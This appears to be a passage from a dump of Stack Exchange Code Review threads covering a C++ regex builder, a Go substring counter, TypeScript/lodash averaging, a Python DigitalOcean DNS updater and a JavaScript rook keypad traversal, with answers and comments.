handle your example:</p>\n\n<pre><code>#include <string>\n#include <regex>\n#include <iostream>\n#include <locale>\n\nnamespace match { \n template <class T>\n T W(char in) { \n static auto& f = std::use_facet<std::ctype<T>>(std::locale());\n return f.widen(in);\n }\n\n template <class T>\n std::basic_string<T> W(char const* in) {\n static T ret[3];\n static auto& f = std::use_facet<std::ctype<T>>(std::locale());\n f.widen(in, in+2, ret);\n return std::basic_string<T>(ret);\n }\n\n template <class T>\n std::basic_string<T> range(T beg, T end) {\n return std::basic_string<T>(1, W<T>('[')) + beg + W<T>('-') + end + W<T>(']');\n }\n\n template <class T>\n std::basic_string<T> literal(std::basic_string<T> const& s) { return s; }\n\n template <class T>\n std::basic_string<T> literal(T const* s) { return s; }\n\n template <class T>\n std::basic_string<T> group(std::basic_string<T> const &s) { return W<T>(\"\\\\(\") + s + W<T>(\"\\\\)\"); }\n\n template <class T>\n std::basic_string<T> group(T const* s) { return group(std::basic_string<T>(s)); }\n\n template <class T>\n std::basic_string<T> any_of(std::basic_string<T> const &s) { return W<T>('[') + s + W<T>(']'); }\n\n template <class T>\n std::basic_string<T> any_of(T const* s) { return any_of(std::basic_string<T>(s)); }\n\n template <class T>\n std::basic_string<T> none_of(std::basic_string<T> const &s) { return W<T>(\"[^\") + s + W<T>(\"]\"); }\n\n template <class T>\n std::basic_string<T> none_of(T const* s) { return none_of(std::basic_string<T>(s)); }\n\n template <class T>\n std::basic_string<T> arbno(std::basic_string<T> const &s) { return s + W<T>('*'); }\n\n template <class T>\n std::basic_string<T> arbno(T const* s) { return arbno(std::basic_string<T>(s)); }\n\n template<class T>\n std::basic_string<T> char_class(std::basic_string<T> const &cl) { return cl; }\n\n std::string space{ \"\\\\s\" };\n std::string digit{ \"\\\\d\" };\n std::string not_space{ \"\\\\S\" };\n\n std::wstring wspace{ L\"\\\\s\" };\n std::wstring wdigit{ L\"\\\\d\" };\n std::wstring wnot_digit{ L\"\\\\D\" };\n};\n\nint main() {\n\n std::string r{\n match::range('a', 'z') +\n match::literal(\"XXX\") +\n match::char_class(match::space) +\n match::group(\n match::literal(\"Hello\") +\n match::char_class(match::space)) +\n match::any_of(\"abcdef\") +\n match::none_of(\"qreoi\") +\n match::arbno(\n match::range('a','z'))\n };\n\n std::wstring r2{\n match::range(L'a', L'z') +\n match::literal(L\"XXX\") +\n match::char_class(match::wspace) +\n match::group(\n match::literal(L\"Hello\") +\n match::char_class(match::wspace)) +\n match::any_of(L\"abcdef\") +\n match::none_of(L\"qreoi\") +\n match::arbno(\n match::range(L'a', L'z'))\n };\n\n std::cout << r << \"\\n\";\n std::wcout << r2 << L\"\\n\";\n}\n</code></pre>\n\n<p>For the moment, I've just created a string and printed it out (so I could check that I got what I expected), but creating a regex from that is obviously a trivial change.</p>\n\n<p>I'm pretty sure by the time you added the missing operators, the result would still be pretty small compared to (for example) just the traits classes.</p>\n\n<p>Bottom line: I wouldn't say I'm exactly <em>excited</em> about the result, but at least to me the notion of using it qualifies for a hesitant \"maybe\" instead of \"no, absolutely not.\"</p>\n\n<p>That's especially true if I change the surrounding code just a tad:</p>\n\n<pre><code>using namespace match;\n\nstd::string r{\n range('a', 'z') +\n literal(\"XXX\") +\n char_class(space) +\n group(\n literal(\"Hello\") +\n char_class(space)) +\n any_of(\"abcdef\") +\n none_of(\"qreoi\") +\n arbno(\n range('a','z'))\n};\n</code></pre>\n\n<p>I'm still not really excited, but I can say \"maybe\" with a bit less hesitation.</p>\n\n<p>Edit: I've modified the code somewhat, and added the (implied) support for both narrow and wide characters. For the moment I've had to add overloads for both <code>std::basic_string<T></code> and <code>T const *</code>. For some reason I don't quite understand, the compiler won't treat the former as the right overload when passing a string literal. Probably just too late at night and my brain has stopped working, but anyway, I guess adding the overloads isn't too heinous (and when somebody is thinking more clearly, maybe they can get rid of those).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T10:48:43.320",
"Id": "412052",
"Score": "0",
"body": "Thanks a ton. I did get feedback somewhere else too that it was way too verbose, so I'm definitely going to rework that, and with that make the code smaller."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T10:54:57.247",
"Id": "412053",
"Score": "0",
"body": "@MivVG: I was just doing some more editing. Not sure if you like the new version better. It may just be excessive fatigue, but I think I do."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T10:58:32.597",
"Id": "412054",
"Score": "0",
"body": "I like it as well. Thanks a lot for your time."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-07T08:15:05.323",
"Id": "213017",
"ParentId": "212867",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "213017",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:22:40.383",
"Id": "212867",
"Score": "3",
"Tags": [
"c++",
"regex",
"c++17"
],
"Title": "Regex Generator in C++"
} | 212867 |
<p>Here, I am reading in a newline delimited file that can be millions of repeating lines that looks like this:</p>
<pre><code>TGATAGTTAGTCATATGAAAGCATCATTAGTAAACCACATTGCTTATTATATTGAACAGT
TACATCTGGCTTATTATACAAAGAGAAAACCATACTATTCATACTATTCTCTTTTTGATC
TTCTCAATCTTCTGTTGTTAGATATTCTATTCCTTGCTCACCATATATACTACTTATGTC
etc.
</code></pre>
<p>The goal is to count the number substring instances within this file, including those substrings that span two lines.</p>
<p>The challenge I have is that the input files can be large, so speed is very desirable. So, I am looking for any good suggestions to improve speed here.</p>
<p>My header:</p>
<pre><code>package main
import ("fmt";"os";"bufio";"compress/gzip";"strings";"time")
</code></pre>
<p>This function reads the input file into memory as an array. This takes about 5s on my machine. The input file is newline delimited, so this function iterates through each line of the file and adds each line as a value in the <code>genome</code> array.</p>
<pre><code>func input_file(loc string) []string {
var genome []string
// my file is zipped because it can be pretty large
file, err := os.Open(loc)
f, err := gzip.NewReader(file)
check(err)
// a scanner is a convenient interface to read newline-delimited files
scanner := bufio.NewScanner(f)
for scanner.Scan() {
genome = append(genome, scanner.Text())
}
if err := scanner.Err(); err != nil {
fmt.Fprintln(os.Stderr, "reading standard input:", err)
}
f.Close()
return genome
}
</code></pre>
<p>The above function uses this check for read errors.</p>
<pre><code>func check(e error) {
if e != nil {
panic(e)
}
}
</code></pre>
<p>Here I iterate through the array that contains all of the strings read in from the file. This takes about 4s on my machine. It is a bit unfortunate that I am iterating through the file to read it, then iterating through the data a second time to search for substrings. The reason I did this is so that I could reuse the file reading code so, I didn't want it to do anything other than read in the data. I'm sure there is a better way of handling this though.</p>
<pre><code>func search (genome []string, kmers map[string]int64) map[string]int64 {
left := ""
right := ""
full_seq := ""
// iterate through data pulled from file
for _, seq := range genome {
/* maybe not really necessary to understand why i'm doing this but
the input file is newline delimited and so i am merging lines
together in case a substring overlaps a newline. */
left = right
right = seq
full_seq = left + right
kmers = contain_kmer(full_seq, kmers) // check for substring
}
return kmers
}
</code></pre>
<p>This function is called by the <code>search</code> function and looks for all substrings and if they are found, are counted. </p>
<pre><code>func contain_kmer (seq string, kmers map[string]int64) map[string]int64 {
for k := range kmers {
if strings.Contains(seq, k) {
kmers[k] += 1 // if found, add to total count
}
}
return kmers
}
</code></pre>
<p>Here is the main function which points to the input file location, reads the file into memory using the <code>input_file</code> function and then searches for substrings using the <code>search</code> function. On my machine, the code takes about 7s to run.</p>
<pre><code>func main() {
start := time.Now()
loc := "./myFile.gz" // input file location
genome := input_file(loc) // read file into memory
// counts of substrings to be located within input file
kmers := map[string]int64 {
"TATTC":0,
"GTAAACCACATTGCTTATTA":0,
}
// locate the substrings
kmers = search(genome, kmers)
end := time.Now()
fmt.Println(kmers) // display counts
fmt.Println(end.Sub(start))
}
</code></pre>
| [] | [
{
"body": "<p>You're reading the file into memory inefficiently. I can't write the full code currently, but here's the gist:</p>\n\n<p>Instead, use the <a href=\"https://golang.org/pkg/io/ioutil/#ReadFile\" rel=\"nofollow noreferrer\"><code>ioutil</code></a> package: <code>func ReadFile(filename string) ([]byte, error)</code>.</p>\n\n<p>Once you've read the file into a byte array, you can remove extraneous characters (newlines, invalid characters, etc). One way is to use <a href=\"https://golang.org/pkg/bytes/#Replace\" rel=\"nofollow noreferrer\"><code>bytes.Replace</code></a> with <code>n</code> of -1.</p>\n\n<p>Then, you can search the byte array using the <a href=\"https://golang.org/pkg/bytes/#Count\" rel=\"nofollow noreferrer\"><code>bytes</code></a> package: <code>func Count(s, sep []byte) int</code>.</p>\n\n<hr>\n\n<p>Also, if you want to correctly time a function, use the <a href=\"https://golang.org/pkg/testing/#hdr-Benchmarks\" rel=\"nofollow noreferrer\"><code>testing</code></a> package.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T19:45:22.670",
"Id": "411694",
"Score": "0",
"body": "this works really nicely, the only problem I'm having is removing the newlines from the byte array. How do you do this?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T19:50:36.460",
"Id": "411696",
"Score": "0",
"body": "@TheNightman Edited my answer to address this."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T19:04:57.190",
"Id": "212871",
"ParentId": "212868",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "212871",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:28:21.940",
"Id": "212868",
"Score": "2",
"Tags": [
"performance",
"file",
"go",
"search",
"bioinformatics"
],
"Title": "Locate substrings within a file"
} | 212868 |
<p>I have this array of objects:</p>
<pre><code>const array = [
{continent: 'Africa', country:'Algeria', year:'2018', value:10},
{continent: 'Africa', country:'Algeria', year:'2017', value:15},
{continent: 'Africa', country:'Algeria', year:'2016', value:2},
{continent: 'Africa', country:'Egypt', year:'2018', value:20},
{continent: 'Africa', country:'Egypt', year:'2017', value:1},
{continent: 'Africa', country:'Egypt', year:'2016', value:20},
]
</code></pre>
<p>I want a new array with the mean by year:</p>
<pre><code>const result = [
{continent: 'Africa', country:'', year:'2018', value:15},
{continent: 'Africa', country:'', year:'2017', value:8},
{continent: 'Africa', country:'', year:'2016', value:11},
]
</code></pre>
<p>This is my code:</p>
<pre><code>const yearsTemp = Array.from(new Set(dataset.map((datum: any) => datum.year)).values())
const years = yearsTemp.map(year => year.toString())
const means = years.map(year => {
const filtered = filter(dataset, { continent: continent, year: year })
const mean = filtered.reduce((acc, item) => acc + item.value, 0) / filtered.length
return {
continent: dataset[0].continent,
country: '',
year: year,
value: mean,
}
})
</code></pre>
<p>Is there a better way?</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T23:34:10.587",
"Id": "411703",
"Score": "0",
"body": "Welcome to Code Review! Is this actually typescript? it doesn't look like valid (vanilla) javascript. And where is `filter` defined?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T06:38:05.537",
"Id": "411733",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ Yeas, it's Typescript. `filter` is a lodash function (https://lodash.com/docs/4.17.11#filter)."
}
] | [
{
"body": "<p>Since this is labelled TypeScript, I'm going to review it as such. First of all, you aren't using <em>types</em>, which defeats the purpose of using <strong>Type</strong>Script. You should define what your objects look like</p>\n\n<pre><code>interface Datum { //not sure what to call it\n continent: string,\n country: string,\n year: string,\n value: number\n}\n</code></pre>\n\n<p>I'm not a TypeScript expert or anything, but even as a beginner, I'd expect something <em>at least</em> like this. With this, we get that the year is apparently a string. Maybe it's not an issue but it's something to note. Before defining the type I just glanced at the object and assumed it was a number.</p>\n\n<p>Which means that your <code>array</code> declaration should now look like this </p>\n\n<pre><code>const array : Array<Datum> = [\n {continent: 'Africa', country:'Algeria', year:'2018', value:10},\n {continent: 'Africa', country:'Algeria', year:'2017', value:15},\n {continent: 'Africa', country:'Algeria', year:'2016', value:2},\n {continent: 'Africa', country:'Egypt', year:'2018', value:20},\n {continent: 'Africa', country:'Egypt', year:'2017', value:1},\n {continent: 'Africa', country:'Egypt', year:'2016', value:20},\n]\n</code></pre>\n\n<p>and the compiler would know what you are working with providing type safety for future operations. </p>\n\n<p>Now, let's take a look at some other declarations</p>\n\n<pre><code>const yearsTemp : Array<string> = Array.from(new Set(dataset.map((datum: Datum) => datum.year)).values())\n</code></pre>\n\n<p>Assuming <code>dataset</code> has a content similar to <code>array</code> in the beginning, the types we annotate are <code>Datum</code> for each variable. This means that we are mapping each <code>year</code> value and get an array of string. However, calling <code>.values()</code> on the <code>Set</code> is superfluous - <code>Array.from()</code> works fine with just being passed a <code>Set</code>. So, you can drop that.</p>\n\n<p>But what about the next line</p>\n\n<pre><code>const years: Array<string> = yearsTemp.map(year => year.toString())\n</code></pre>\n\n<p>So, we take an array of strings and produce an array of strings. That's <em>fine</em> normally, but to do that you call <code>.toString()</code> on each value. That's a pointless operation <code>\"some value\".toString()</code> is the same thing. It's also <em>dangerous</em>, as <code>null.toString()</code> would cause an error. For future reference, a way that wouldn't throw a null pointer exception is to pass the value through the <code>String</code> constructor function but <em>don't</em> use the keyword <code>new</code>.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>let numericValue = 42;\n\nlet stringValue = String(numericValue);\n\nconsole.log(\"typeof stringValue\", typeof stringValue);\nconsole.log('stringValue === \"42\"', stringValue === \"42\");\n\n//this creates a new object string, not a string primitive\nlet dontDoThis = new String(numericValue);\n\nconsole.log(\"typeof dontDoThis\", typeof dontDoThis);\nconsole.log('dontDoThis === \"42\"', dontDoThis === \"42\"); //not the same type\nconsole.log('dontDoThis === new String(\"42\")', dontDoThis === new String(\"42\")); //not the same object</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>Passing the value <code>null</code> or <code>undefined</code> through <code>String</code> will not cause an error but it will produce the string <code>\"null\"</code> or <code>\"undefined\"</code> respectively. You can filter those out, if you don't want them</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>let objectsWithNumericValues = [{year: 2018}, {year: 2019}, {year: 2019}, {year: 2020}, {year: null}];\n\nlet extractedYears = objectsWithNumericValues.map(obj => obj.year);\nlet resultWithNull = Array.from(new Set(extractedYears))\n .map(String); //<-- convert to string\n\nlet resultWithoutNull = Array.from(new Set(extractedYears))\n .filter(Boolean) //<-- filter anything falsey\n .map(String);\n \nconsole.log(resultWithNull);\nconsole.log(resultWithoutNull);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>On a separate note, the above code shows how you can avoid temporary variables by chaining operations. It saves some typing and it's clearer by not having clutter like throw-away variable names. But it also depends on the coding style.</p>\n\n<p>Anyway, back on the topic of getting the years and turning them into strings - just drop the line that does <code>toString</code> and rename <code>const yearsTemp</code> to <code>const years</code></p>\n\n<p>As for the rest it seems OK, as long as you add the types. It's not clear where the <code>continent</code> variable is coming from when you call <code>filter(dataset, { continent: continent, year: year })</code> but I'd assume you have that in context. The other strange this is <code>dataset[0].continent</code>. I'm not sure if that's correct or not, as it would take the same <code>continent</code> for each new produced value and it's not necessarily going to be the correct one unless <code>dataset[0].continent === continent</code>. But that might be a typo when transcribing the code here. Perhaps the same is true for <code>country: ''</code></p>\n\n<p>The only change I'd make is separate the functionality instead of put all the processing into <code>.map()</code>. The chaining of array operation makes the separation of intentions clearer and if you need to extract functionality, it's cleaner.</p>\n\n<pre><code>years\n .map(year => filter(dataset, { continent: continent, year: year }))\n .map(filtered => {\n const mean = filtered.reduce((acc, item) => acc + item.value, 0) / filtered.length\n return {\n continent: dataset[0].continent,\n country: '',\n year: year,\n value: mean\n }\n })\n</code></pre>\n\n<p>this way if you decide that either or both functionalities are reusable, you can separate them and your logic turns into</p>\n\n<pre><code>years\n .map(getResultsWithTheSameYear)\n .map(calculateMean)\n</code></pre>\n\n<p>and you can use these functions elsewhere. Perhaps you will have some other functionality where you do </p>\n\n<pre><code>countries\n .map(getResultsWithSameCountry)\n .map(calculateMean)\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T09:19:02.403",
"Id": "212902",
"ParentId": "212869",
"Score": "3"
}
},
{
"body": "<h2>Review points</h2>\n<p>This code makes good use of the <code>const</code> keyword for values that are not re-assigned. That is refreshing to see.</p>\n<p>Is the empty <code>country</code> property necessary?</p>\n<h2>Addressing your question</h2>\n<blockquote>\n<p>Is there a better way</p>\n</blockquote>\n<p>I’d question what “better” in this case means to you- shorter, simpler, more performant?</p>\n<p>Because you mentioned you are using lodash, the <a href=\"https://lodash.com/docs/4.17.5#meanBy\" rel=\"nofollow noreferrer\"><code>_.meanBy()</code></a> method could be used, along with <code>_.map()</code>.</p>\n<p>One way would be to group items by year and continent by concatenating those values.</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const array = [\n {continent: 'Africa', country:'Algeria', year:'2018', value:10},\n {continent: 'Africa', country:'Algeria', year:'2017', value:15},\n {continent: 'Africa', country:'Algeria', year:'2016', value:2},\n {continent: 'Africa', country:'Egypt', year:'2018', value:20},\n {continent: 'Africa', country:'Egypt', year:'2017', value:1},\n {continent: 'Africa', country:'Egypt', year:'2016', value:20},\n];\nconst groupedItems = _.groupBy(array, record => record.continent + '_' + record.year);\nconst means = _.map(groupedItems, (group, key) => {\n return {\n continent: group[0].continent,\n country: '',\n year: group[0].year,\n value: _.meanBy(group, 'value')\n };\n});\n\nconsole.log('output: ', means);</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script src=\"https://cdn.jsdelivr.net/lodash/4/lodash.min.js\"></script></code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>The <code>key</code> property could also be used to fetch the values for the <em>continent</em> and <em>year</em> of each group - perhaps using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment\" rel=\"nofollow noreferrer\">array destructuringSection</a> and .</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const array = [\n {continent: 'Africa', country:'Algeria', year:'2018', value:10},\n {continent: 'Africa', country:'Algeria', year:'2017', value:15},\n {continent: 'Africa', country:'Algeria', year:'2016', value:2},\n {continent: 'Africa', country:'Egypt', year:'2018', value:20},\n {continent: 'Africa', country:'Egypt', year:'2017', value:1},\n {continent: 'Africa', country:'Egypt', year:'2016', value:20},\n];\nconst groupedItems = _.groupBy(array, record => record.continent + '_' + record.year);\nconst means = _.map(groupedItems, (group, key) => {\n [continent, year] = key.split('_');\n return {\n continent,\n country: '',\n year,\n value: _.meanBy(group, 'value')\n };\n});\n\nconsole.log('output: ', means);</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code><script src=\"https://cdn.jsdelivr.net/lodash/4/lodash.min.js\"></script></code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T16:38:07.813",
"Id": "212924",
"ParentId": "212869",
"Score": "0"
}
}
] | {
"AcceptedAnswerId": "212902",
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:45:51.323",
"Id": "212869",
"Score": "3",
"Tags": [
"javascript",
"ecmascript-6",
"typescript",
"lodash.js"
],
"Title": "Mean by properties in array of objects"
} | 212869 |
<p>Inspired by a <a href="https://gist.github.com/yukicreative/e32ffcd91e55ba1051c4f55b17a8a573" rel="nofollow noreferrer">shell script I saw on Github</a>, I put together a Python version to update the dynamic IP address for a subdomain I have that uses DigitalOcean's nameservers. I added a check to see if the IP address actually needs to be updated, and not do the update if the IP address hasn't changed. All of the user-configurable variables - API token, domain, subdomain - are stored in a separate <code>.env</code> file alongside the script.</p>
<pre><code>#!/usr/bin/env python3
# Import required modules
import dotenv
import json
import os
import requests
# Load user-configured variables from .env file
dotenv.load_dotenv()
token = os.environ.get('DO_API_TOKEN')
domain = os.environ.get('DO_DOMAIN')
subdomain = os.environ.get('DO_SUBDOMAIN')
# Other variables
check_ip_url = 'https://api.ipify.org'
do_api_url = 'https://api.digitalocean.com/v2/domains/'
# Get the current external IP
def get_current_ip():
curr_ip = requests.get(check_ip_url).text.rstrip()
return curr_ip
# Get the current subdomain IP
def get_sub_info():
headers = {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + token
}
response = requests.get(do_api_url + domain + '/records', headers=headers).text
records = json.loads(response)
for record in records['domain_records']:
if record['name'] == subdomain:
subdomain_info = {
'ip': record['data'],
'record_id': record['id']
}
return subdomain_info
# Update DNS records if required
def update_dns():
current_ip_address = get_current_ip()
subdomain_ip_address = get_sub_info()['ip']
subdomain_record_id = get_sub_info()['record_id']
if current_ip_address == subdomain_ip_address:
print('Subdomain DNS record does not need updating.')
return
else:
headers = {
'Content-Type': 'application/json',
'Authorization': 'Bearer $token',
}
data = '{"data":"' + current_ip_address + '"}'
response = requests.put(do_api_url + domain + '/records/' + subdomain_record_id, headers=headers, data=data)
if '200' in response:
print('Subdomain IP address updated to ' + current_ip_address)
else:
print('IP address update failed with message: ' + response.text)
return
if __name__ == '__main__':
update_dns()
</code></pre>
<p>It works, but isn't the prettiest Python code out there, and I'm sure if could be made a bit more efficient. Are there any stylistic changes I should make to better adhere to best practices? I have run it through a PEP8 checker, and the only thing it brought up was about the line length in a few places, which I'm not super concerned about.</p>
| [] | [
{
"body": "<pre><code>#!/usr/bin/env python3\n\nimport os\n\nimport dotenv\nimport requests\n\ndotenv.load_dotenv()\ntoken = os.environ['DO_API_TOKEN']\ndomain = os.environ['DO_DOMAIN']\nsubdomain = os.environ['DO_SUBDOMAIN']\n\nrecords_url = f'https://api.digitalocean.com/v2/domains/{domain}/records/'\nsession = requests.Session()\nsession.headers = {\n 'Authorization': 'Bearer ' + token\n}\n\n\ndef get_current_ip():\n return requests.get('https://api.ipify.org').text.rstrip()\n\n\ndef get_sub_info():\n records = session.get(records_url).json()\n for record in records['domain_records']:\n if record['name'] == subdomain:\n return record\n\n\ndef update_dns():\n current_ip_address = get_current_ip()\n sub_info = get_sub_info()\n subdomain_ip_address = sub_info['data']\n subdomain_record_id = sub_info['id']\n if current_ip_address == subdomain_ip_address:\n print('Subdomain DNS record does not need updating.')\n else:\n response = session.put(records_url + subdomain_record_id, json={'data': current_ip_address})\n if response.ok:\n print('Subdomain IP address updated to ' + current_ip_address)\n else:\n print('IP address update failed with message: ' + response.text)\n\n\nif __name__ == '__main__':\n update_dns()\n</code></pre>\n\n<ol>\n<li>The script will not work if any variables are missing, so use <code>[...]</code> instead of <code>.get(...)</code> to throw an error ASAP if needed.</li>\n<li>The DO URLs always start with <code>/{domain}/records/</code> so I included that in the top level constant.</li>\n<li>A <code>requests.Session</code> makes multiple requests to the same domain faster as it keeps the connection open, and it lets you specify info like headers once.</li>\n<li>A few times you create a variable and immediately return it. You can just return the expression directly.</li>\n<li>I felt that the <code>check_ip_url</code> constant didn't add anything, so I inlined it. This is mostly a preference.</li>\n<li>Most of the comments do not help readers in any way, so I removed them. But if you want to describe what a function does, use a docstring.</li>\n<li>Calling <code>.json()</code> on a response parses the text as JSON for you.</li>\n<li>Moving the values of one dict to another dict before finally extracting them just adds another layer, so I just returned <code>record</code> directly.</li>\n<li>You called <code>get_sub_info()</code> twice which meant two identical requests. To speed things up, I extracted a variable.</li>\n<li>Again, <code>requests</code> makes JSON easy to use, now with the <code>json=</code> argument. This both converts the dictionary to a JSON string and sets the content type. But even without this, you really should have been using <code>json.dumps</code> rather than string concatenation.</li>\n<li><code>response.ok</code> is typically how you check if a request succeeded, or by checking the value of <code>response.status_code</code>. I've never seen anyone using the <code>in</code> operator on a response.</li>\n<li>There's no reason to <code>return</code> when a function is ending anyway.</li>\n</ol>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T20:30:46.603",
"Id": "411697",
"Score": "0",
"body": "Thanks for the pointers! But what does the 'f' before the URL in `records_url` do?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T04:56:38.413",
"Id": "411725",
"Score": "0",
"body": "@campegg Google \"python f string\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-05T15:07:02.950",
"Id": "411798",
"Score": "0",
"body": "Got it - I was looking for \"f variables\" and things like that, but didn't turn anything up. Thanks again!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T20:24:49.480",
"Id": "212872",
"ParentId": "212870",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212872",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T18:53:44.420",
"Id": "212870",
"Score": "4",
"Tags": [
"python",
"json",
"api"
],
"Title": "DigitalOcean dynamic DNS update script"
} | 212870 |
<p>I'm trying to write/come up with an algorithm for a phone keypad traversal. </p>
<p>Let's say I have a rook on a keypad. The rook can traverse only horizontally and vertically. My code has to input a phone number and check whether the rook is able to dial it (shouldn't go diagonally) and return a boolean based on the result.</p>
<p><a href="https://i.stack.imgur.com/576Tf.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/576Tf.png" alt="enter image description here"></a></p>
<p>Example: A phone number "4632871" is termed as "true" since the rook can traverse without going diagonally whereas "4853267" is termed as "false"</p>
<p>Below is my code implementation:</p>
<p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false">
<div class="snippet-code">
<pre class="snippet-code-js lang-js prettyprint-override"><code>var data = [
[1, 2, 3],
[4, 5, 6],
[7, 8, 9],
];
function rookTraversal(arr, phoneNumber) {
var arrIndex = [],
numArray = [];
var number = phoneNumber.split('');
for (var i = 0; i < arr.length; i++) {
for (var j = 0; j < arr.length; j++) {
arrIndex.push([i, j]);
}
}
arrIndex = arrIndex.map((item, index) => ({
[index + 1]: item,
}));
number.forEach((item) => {
numArray.push(arrIndex[item - 1]);
});
let numArrayKeys = numArray.reduce((acc, x) => [...acc, Object.values(x).map((y) => y)], []);
for (let i = 1; i < numArrayKeys.length; i++) {
var x1 = numArrayKeys[i - 1][0][0];
var y1 = numArrayKeys[i - 1][0][1];
var x2 = numArrayKeys[i][0][0];
var y2 = numArrayKeys[i][0][1];
if (x1 !== x2 && y1 !== y2) {
return false;
}
}
return true;
}
console.log(rookTraversal(data, '4631782'));
console.log(rookTraversal(data, '4853267'));</code></pre>
</div>
</div>
</p>
<p>Is there a way to optimize this piece of code?</p>
| [] | [
{
"body": "<p>There are a lot of different traits you could optimize for. I like to optimize for lines of code, so I'll try that. </p>\n\n<p>You can simplify the testing by building a \"graph\" (2-dimensional array) of reachable numbers. Each row and column index is a phone digit. If the value at (i,j) is true, then j is reachable from i. </p>\n\n<p>To do this, take all the numbers in each digit's row/column and create an array where those indexes have a value of 1. </p>\n\n<p>The reachability graph looks like this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/cDTcY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/cDTcY.png\" alt=\"enter image description here\"></a></p>\n\n<p>The digit 6 can reach 3,4,5,6,9 and you can see that <code>reachable[6][x]</code> is true for x=3,4,5,6 or 9.</p>\n\n<p>Then simply run through the list of numbers and test if <code>reachable[current][next]</code> is true.</p>\n\n<p>I've assumed the rook can dial repeated numbers like 3333. If no, you can test for that in the graph creation or during reachability testing.</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function rookTraversal(rows, phoneNumber) { \n var cols=rows[0].map((col, i) => rows.map(row => row[i])),\n digits=phoneNumber.match(/(\\d)/g),\n reachable=[];\n for (var row = 0; row < rows.length; row++) {\n for (var col = 0; col < cols.length; col++) {\n reachable[ rows[row][col] ] = rows[row].concat(cols[col]).reduce( (map, value) => { map[value]=1; return map }, [] );\n }\n }\n // console.log({reachable,digits});\n for (var i=0; i<digits.length-1; ++i) if (! reachable[ digits[i] ][ digits[i+1] ]) return false;\n return true;\n}\n\nvar data = [\n [1, 2, 3],\n [4, 5, 6],\n [7, 8, 9],\n];\n\nconsole.log(rookTraversal(data, '4631782'));\nconsole.log(rookTraversal(data, '4853267'));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T21:40:51.540",
"Id": "212879",
"ParentId": "212873",
"Score": "3"
}
}
] | {
"AcceptedAnswerId": "212879",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-02-04T20:34:16.247",
"Id": "212873",
"Score": "3",
"Tags": [
"javascript"
],
"Title": "Check whether a number can be dialed on a phone keypad without diagonal moves"
} | 212873 |
<p>I was given this question during an interview. It is similar to binary search and I would like to ask for feedback for my solution.</p>
<blockquote>
<p><strong>Array Index & Element Equality</strong></p>
<p>Given a sorted array arr of distinct integers, write a function
indexEqualsValueSearch that returns the lowest index i for which
